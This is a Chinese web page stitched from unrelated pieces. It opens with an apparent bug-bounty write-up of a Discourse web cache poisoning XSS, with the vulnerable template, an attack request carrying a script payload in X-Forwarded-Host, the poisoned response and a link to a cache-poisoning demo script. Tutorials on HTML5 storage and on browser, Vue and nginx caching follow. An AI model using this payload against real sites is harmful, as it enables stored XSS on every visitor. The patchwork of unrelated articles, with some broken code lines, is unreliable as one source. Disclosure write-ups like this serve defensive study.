洞源代码:
https://github.com/discourse/discourse/blob/master/app/views/common/_special_font_face.html.erb#L12-L18
<% woff2_url="#{asset_path("fontawesome-webfont.woff2")}?#{font_domain}&v=4.7.0".html_safe %> <link rel="preload" href="<%=woff2_url%>" as="font" type="font/woff2" crossorigin /> ... src: url('<%=woff2_url %>') format('woff2'),
HTTP Request
GET /?xx HTTP/1.1 Host: meta.discourse.org X-Forwarded-Host: cacheattack'"><script>alert(document.domain)</script>
HTTP Response
<link rel="preload" href="https://d11a6trkgmumsb.cloudfront.net/assets/fontawesome-webfont-2adefcbc041e7d18fcf2d417879dc5a09997aa64d675b7a3c4b6ce33da13f3fe.woff2?https://cacheattack'"> <script>alert(document.domain)</script> &2&v=4.7.0" as="font" type="font/woff2" crossorigin /> <style> [@font-face](/font-face) { font-family: 'FontAwesome'; src: url('https://d11a6trkgmumsb.cloudfront.net/assets/fontawesome-webfont-2adefcbc041e7d18fcf2d417879dc5a09997aa64d675b7a3c4b6ce33da13f3fe.woff2?https://cacheattack'"> <script>alert(document.domain)</script> &2&v=4.7.0') format('woff2'), url('https://d11a6trkgmumsb.cloudfront.net/assets/fontawesome-webfont-ba0c59deb5450f5cb41b3f93609ee2d0d995415877ddfa223e8a8a7533474f07.woff?https://cacheattack'"><script>alert(document.domain)</script>&2&v=4.7.0') format('woff'); } </style>
此外,应用程序缓存HTTP响应1分钟,因此如果您发送带有XSS有效负载的HTTP请求,它将被缓存,并在标头匹配时显示所有请求:
请求开始行,接受,接受编码。
重现步骤
为了更简单的演示,我写了一个脚本。
该脚本从请求中获取必要的标头并中毒缓存。
您只需打开缓存页面即可。
1)打开url
https://blackfan.ru/bugbounty/webcachedeception.php?url=https://meta.discourse.org/?cacheattack&payload=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cache=60
2)结果
网站的漏洞演示已经修复》》》》》》。
影响:攻击者可以每分钟收集Accep + Accept-Encoding的流行组合并中毒网页缓存。
影响就像在任何页面上存储的XSS一样。
言
本篇文章主要介绍了前端HTML5几种存储方式的总结 ,主要包括本地存储localstorage,本地存储sessionstorage,离线缓存(application cache),Web SQL,IndexedDB。有兴趣的可以了解一下。
正文开始~
h5之前,存储主要是用cookies。cookies缺点有在请求头上带着数据,大小是4k之内。主Domain污染。
主要应用:购物车、客户登录
对于IE浏览器有UserData,大小是64k,只有IE浏览器支持。
目标
存储方式:
以键值对(Key-Value)的方式存储,永久存储,永不失效,除非手动删除。
大小:
每个域名5M
支持情况:
注意:IE9 localStorage不支持本地文件,需要将项目署到服务器,才可以支持!
if(window.localStorage){ alert('This browser supports localStorage'); }else{ alert('This browser does NOT support localStorage'); }
常用的API:
getItem //取记录
setIten//设置记录
removeItem//移除记录
key//取key所对应的值
clear//清除记录
存储的内容:
数组,图片,json,样式,脚本。。。(只要是能序列化成字符串的内容都可以存储)
HTML5 的本地存储 API 中的 localStorage 与 sessionStorage 在使用方法上是相同的,区别在于 sessionStorage 在关闭页面后即被清空,而 localStorage 则会一直保存。
本地缓存应用所需的文件
使用方法:
①配置manifest文件
页面上:
<!DOCTYPE HTML> <html manifest="demo.appcache"> ... </html>
Manifest 文件:
manifest 文件是简单的文本文件,它告知浏览器被缓存的内容(以及不缓存的内容)。
manifest 文件可分为三个部分:
①CACHE MANIFEST - 在此标题下列出的文件将在首次下载后进行缓存
②NETWORK - 在此标题下列出的文件需要与服务器的连接,且不会被缓存
③FALLBACK - 在此标题下列出的文件规定当页面无法访问时的回退页面(比如 404 页面)
完整demo:
CACHE MANIFEST # 2016-07-24 v1.0.0 /theme.css /main.js NETWORK: login.jsp FALLBACK: /html/ /offline.html
服务器上:manifest文件需要配置正确的MIME-type,即 "text/cache-manifest"。
如Tomcat:
<mime-mapping> <extension>manifest</extension> <mime-type>text/cache-manifest</mime-type> </mime-mapping>
常用API:
核心是applicationCache对象,有个status属性,表示应用缓存的当前状态:
0(UNCACHED) : 无缓存, 即没有与页面相关的应用缓存
1(IDLE) : 闲置,即应用缓存未得到更新
2 (CHECKING) : 检查中,即正在下载描述文件并检查更新
3 (DOWNLOADING) : 下载中,即应用缓存正在下载描述文件中指定的资源
4 (UPDATEREADY) : 更新完成,所有资源都已下载完毕
5 (IDLE) : 废弃,即应用缓存的描述文件已经不存在了,因此页面无法再访问应用缓存
相关的事件:
表示应用缓存状态的改变:
checking : 在浏览器为应用缓存查找更新时触发
error : 在检查更新或下载资源期间发送错误时触发
noupdate : 在检查描述文件发现文件无变化时触发
downloading : 在开始下载应用缓存资源时触发
progress:在文件下载应用缓存的过程中持续不断地下载地触发
updateready : 在页面新的应用缓存下载完毕触发
cached : 在应用缓存完整可用时触发
Application Cache的三个优势:
① 离线浏览
② 提升页面载入速度
③ 降低服务器压力
注意事项:
1. 浏览器对缓存数据的容量限制可能不太一样(某些浏览器设置的限制是每个站点 5MB)
2. 如果manifest文件,或者内部列举的某一个文件不能正常下载,整个更新过程将视为失败,浏览器继续全部使用老的缓存
3. 引用manifest的html必须与manifest文件同源,在同一个域下
4. 浏览器会自动缓存引用manifest文件的HTML文件,这就导致如果改了HTML内容,也需要更新版本才能做到更新。
5. manifest文件中CACHE则与NETWORK,FALLBACK的位置顺序没有关系,如果是隐式声明需要在最前面
6. FALLBACK中的资源必须和manifest文件同源
7. 更新完版本后,必须刷新一次才会启动新版本(会出现重刷一次页面的情况),需要添加监听版本事件。
8. 站点中的其他页面即使没有设置manifest属性,请求的资源如果在缓存中也从缓存中访问
9. 当manifest文件发生改变时,资源请求本身也会触发更新
离线缓存与传统浏览器缓存区别:
1. 离线缓存是针对整个应用,浏览器缓存是单个文件
2. 离线缓存断网了还是可以打开页面,浏览器缓存不行
3. 离线缓存可以主动通知浏览器更新资源
关系数据库,通过SQL语句访问
Web SQL 数据库 API 并不是 HTML5 规范的一部分,但是它是一个独立的规范,引入了一组使用 SQL 操作客户端数据库的 APIs。
支持情况:
Web SQL 数据库可以在最新版的 Safari, Chrome 和 Opera 浏览器中工作。
核心方法:
①openDatabase:这个方法使用现有的数据库或者新建的数据库创建一个数据库对象。
②transaction:这个方法让我们能够控制一个事务,以及基于这种情况执行提交或者回滚。
③executeSql:这个方法用于执行实际的 SQL 查询。
打开数据库:
var db=openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024,fn); //openDatabase() 方法对应的五个参数分别为:数据库名称、版本号、描述文本、数据库大小、创建回调
执行查询操作:
var db=openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024); db.transaction(function (tx) { tx.executeSql('CREATE TABLE IF NOT EXISTS WIN (id unique, name)'); });
插入数据:
var db=openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024); db.transaction(function (tx) { tx.executeSql('CREATE TABLE IF NOT EXISTS WIN (id unique, name)'); tx.executeSql('INSERT INTO WIN (id, name) VALUES (1, "winty")'); tx.executeSql('INSERT INTO WIN (id, name) VALUES (2, "LuckyWinty")'); });
读取数据:
db.transaction(function (tx) { tx.executeSql('SELECT * FROM WIN', [], function (tx, results) { var len=results.rows.length, i; msg="<p>查询记录条数: " + len + "</p>"; document.querySelector('#status').innerHTML +=msg; for (i=0; i < len; i++){ alert(results.rows.item(i).name ); } }, null); });
由这些操作可以看出,基本上都是用SQL语句进行数据库的相关操作,如果你会MySQL的话,这个应该比较容易用。
索引数据库 (IndexedDB) API(作为 HTML5 的一部分)对创建具有丰富本地存储数据的数据密集型的离线 HTML5 Web 应用程序很有用。同时它还有助于本地缓存数据,使传统在线 Web 应用程序(比如移动 Web 应用程序)能够更快地运行和响应。
异步API:
在IndexedDB大部分操作并不是我们常用的调用方法,返回结果的模式,而是请求——响应的模式,比如打开数据库的操作
这样,我们打开数据库的时候,实质上返回了一个DB对象,而这个对象就在result中。由上图可以看出,除了result之外。还有几个重要的属性就是onerror、onsuccess、onupgradeneeded(我们请求打开的数据库的版本号和已经存在的数据库版本号不一致的时候调用)。这就类似于我们的ajax请求那样。我们发起了这个请求之后并不能确定它什么时候才请求成功,所以需要在回调中处理一些逻辑。
关闭与删除:
function closeDB(db){ db.close(); } function deleteDB(name){ indexedDB.deleteDatabase(name); }
数据存储:
indexedDB中没有表的概念,而是objectStore,一个数据库中可以包含多个objectStore,objectStore是一个灵活的数据结构,可以存放多种类型数据。也就是说一个objectStore相当于一张表,里面存储的每条数据和一个键相关联。
我们可以使用每条记录中的某个指定字段作为键值(keyPath),也可以使用自动生成的递增数字作为键值(keyGenerator),也可以不指定。选择键的类型不同,objectStore可以存储的数据结构也有差异。
学习从来不是一个人的事情,要有个相互监督的伙伴,想要学习或交流前端问题的小伙伴可以私信“学习”小明获取web前端入门资料,一起学习,一起成长!
端缓存指的是,浏览器对服务器最近请求过的资源进行存储,通过这种方式来达到减少与服务器的交互请求,以此减少对带宽流量的浪费,以及减少了服务器的负担,而浏览器缓存主要分为两种,强缓存和协商缓存
强缓存所谓的“强”,在于强制让浏览器按照一定时间范围内来存储来自服务器的资源,有点强制的味道~,强缓存是利用Expires或者Cache-Control,不发送请求,直接从缓存中取,请求状态码会返回200(from cache)
Expires是HTTP/1.0中提及的,让服务器为文件资源设置一个过期时间,在多长时间内可以将这些内容视为最新的,允许客户端在这个时间之前不去检查,MDN 具体介绍 点此
指定缓存到期GMT的绝对时间,如果expires到期需要重新请求
Expires:Sat, 09 Jun 2020 08:13:56 GMT
相比上一小节讲的 expires,两者有什么区别呢? Cache-Control 你可以理解成为高级版expires,为了弥补Expires的缺陷在Http1.1协议引入的,且强大之外优先级也更高,也就是当Expires和Cache-Control同时存在时,Cache-Control 会覆盖Expires的配置,即Cache-Control ( Http 1.1 ) > Expires ( Http 1.0 )
Cache-Control 比Expires比较要内涵,具备更多的属性,其中包括如下
? no-cache :可以在本地缓存,可以在代理服务器缓存,需要先验证才可使用缓存
? no-store : 禁止浏览器缓存,只能通过服务器获取
? max-age : 设置资源的过期时间(效果与expires一样)
例子演示:
// 设置缓存时间为1年
Cache-Control: max-age=31536000
Expires:Sat, 09 Jun 2020 08:13:56 GMT //同时设置两个,Expires会失效
则意味着浏览器可以缓存一年的时间,无需请求服务器,同时如果同时声明Expires和Cache-Control,Expires将失效
?你可能会有疑惑Cache-Control no-cache与max-age=0有什么区别?
本质上就是你按浏览器刷新与强制刷新的区分,看下一节
相信你离不开的操作就是F5(刷新按钮),但是不同的刷新操作意味着不同的反应
? Ctrl + F5 (强制刷新)::request header多了cache-control: no-cache (重新获取请求)
? F5 (刷新)/ctrl+R刷新::request header多了 cache-control: max-age=0 (需要先验证才可使用缓存,Expires无效)
协商缓存,就没有强缓存那么霸道,协商缓存需要客户端和服务端两端进行交互,通过服务器告知浏览器缓存是否可用,并增加缓存标识,“有事好好商量”,两者都会互相协商。 协商缓存,其实就是服务器与浏览器交互过程,一般有两个回合,而协商主要有以下几种方式:
? 第一回合:当浏览器第一次请求服务器资源时,服务器通过Last-Modified 来设置响应头的缓存标识,把资源最后修改的时间作为值写入,再将资源返回给浏览器
? 第二回合:第二次请求时,浏览器会带上 If-Modified-Since 请求头去访问服务器,服务器将 If-Modified-Since 中携带的时间与资源修改的时间对比,当时间不一致时,意味更新了,服务器会返回新资源并更新Last-Modified,当时间一致时,意味着资源没有更新,服务器会返回304状态码,浏览器将从缓存中读取资源
//response header 第一回合
Last-Modified: Wed, 21 Oct 2019 07:28:00 GMT
//request header 第二回合
If-Modified-Since: Wed, 21 Oct 2019 07:29:00 GMT
MDN中提到ETag 之间的比较使用的是强比较算法,即只有在每一个字节都相同的情况下,才可以认为两个文件是相同的,而这个hash值,是由对文件的索引节、大小和最后修改时间进行Hash后得到的,而且要注意的是分布式系统不适用,了解更多点我
? 第一回合: 也是跟上文一样,浏览器去请求服务器资源,不过这次不是通过Last-Modified了,而是用Etag来设置响应头缓存标识。Etag是由服务端生成的,然后浏览器会将Etag与资源缓存
? 第二回合: 浏览器会将 Etag 放入 If-None-Match 请求头中去访问服务器,服务器收到后,会对比两端的标识,当两者不一致时,意味着资源更新,服务器会返回新资源并更新Etag,浏览器将从缓存中读取资源,当两者一致时,意味着资源没有更新,服务器会返回304状态码,浏览器将从缓存中读取资源
//response header 第一回合
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
//request header 第二回合
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
对比完 Last-Modified 与 Etag,我们可以很显然看到,协商缓存每次请求都会与服务器发生“关系”,第一回合都是拿数据和标识,而第二回合就是浏览器“咨询”服务器是否资源已经更新的过程。
同时,如果以上两种方式同时使用,Etag 优先级会更高,即
Etag( Http 1.1 ) > Last-Modified ( Http 1.0 )
这是浏览器没有跟服务器确认,直接用了浏览器缓存,性能最好的,没有网络请求,那么什么情况会出现这种情况?一般在expires或者 Cache-Control 中的max-age头部有效时会发生
是浏览器和服务器“交流”了,确定使用缓存后,再用缓存,也就是第二节讲的通过Etag或Last-Modified的第二回合中对比,对比两者一致,则意味资源不更新,则服务器返回304状态码
以上两种缓存全都失败,也就是未缓存或者缓存未过期,需要浏览器去获取最新的资源,效率最低 一句话:缓存是否过期用:Cache-Control(max-age), Expires,缓存是否有效用:Last-Modified,Etag
讲述缓存在我们开发中最常见的使用
? keepAlive
vue官方文档提到,当在这些组件之间切换的时候,你有时会想保持这些组件的状态,以避免反复重渲染导致的性能问题,这个时候我们希望那些标签的组件实例能够被在它们第一次被创建的时候缓存下来,我们可以用一个 元素将其动态组件包裹起来 官方文档
主要用于保留组件状态或避免重新渲染,也意味着不会再走mounted,beforeDestroy函数,组件将被缓存,不用销毁重新渲染,性能比较好
路由的选择性缓存
// router.js
export default new Router({
routes:[
{ path: '/test',
name: 'test',
component: ()=> import('@/views/test/test.vue'),
meta: {
title: '测试',
keepAlive: true
}
},
// App.vue
<keep-alive v-if='$route.meta.keepAlive'>
<router-view></router-view>
</keep-alive>
<router-view v-if='!$route.meta.keepAlive'></router-view>
组件缓存
<keep-alive>
<component v-bind:is="currentTabComponent"></component>
</keep-alive>
前端工程化开发,可以使用 Webpack 编译,打包的资源文件路径里自动带有一串随机字符串,称为 hash
在vue cli脚手架中,我们可以通过配置vue.config.js(本质上是配置webpack)来设置编译生成的文件具备hash值,意味着每次打包编译的文件都是唯一的,来防止因为缓存,导致资源没有更新。
Vue-Cli 3x版本
// vue.config.js
module.exports={
filenameHashing: true,
chainWebpack: (config)=> {
config.output.filename('[name].[hash].js').end();
}
}
? 配置expires
假设我想通过web应用的图片缓存一周,那你可以在nginx中配置如下,配置完之后一周之内的资源只会访问浏览器的资源,而不是去请求Nginx
location ~ \.(gif|jpg|jpeg|png)$ {
root /var/mywww/html/public/
expires 7d; //表示把数据缓存7天,d:天,s:秒,m:分
}
location ~ \.(gif|jpg|jpeg|png)$ {
root /var/mywww/html/public/
etagoff; // 默认是开启 on
}
掘金@树酱
*请认真填写需求信息,我们会在24小时内与您取得联系。